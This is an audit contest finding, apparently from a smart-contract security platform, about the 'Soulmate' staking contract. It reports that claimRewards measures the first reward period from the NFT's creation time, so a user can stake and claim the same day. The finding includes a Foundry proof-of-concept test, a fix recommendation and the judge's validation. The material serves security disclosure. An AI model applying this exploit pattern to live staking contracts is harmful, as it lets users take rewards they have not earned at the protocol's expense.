First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`Staking::claimRewards` considers the `idToCreationTimestamp` on first claim for rewards, disregarding the staking period

0xloscar01

Summary

When a user claims rewards for the first time, Staking::claimRewards uses the idToCreationTimestamp value from the Soulmate contract, the staking period is then ignored, allowing the user to stake and claim rewards the same day.

Vulnerability Details

Copy the function to the StakingTest.t.sol file, then run forge test --mt test_StakeAndClaimFirstRewardsTheSameDay -vv in the terminal

POC

function test_StakeAndClaimFirstRewardsTheSameDay() public {
uint256 balancePerSoulmates = 5 ether;
uint256 weekOfStaking = 5;
​
// 2 soulmates mint a token.
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
​
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
​
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds); // 5 weeks later...
​
vm.startPrank(soulmate1);
airdropContract.claim(); // soulmate1 claims his airdrop rewards
​
loveToken.approve(address(stakingContract), balancePerSoulmates);
stakingContract.deposit(balancePerSoulmates); // soulmate1 stakes his tokens
​
// LoveToken balance of soulmate1 before claiming rewards
uint256 balanceBefore = loveToken.balanceOf(soulmate1);
​
stakingContract.claimRewards(); // soulmate1 claims his rewards the same day he staked his tokens
console2.log("soulmate1 claimed rewards: %s", loveToken.balanceOf(soulmate1) - balanceBefore);
vm.stopPrank();
}

Impact

Users claiming rewards for the first time will receive rewards without needing to stake during the minimum staking period.

Tools Used

Manual review

Recommendations

Consider tracking user deposit timestamps instead of idToCreationTimestamp timestamps for first-time rewards

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.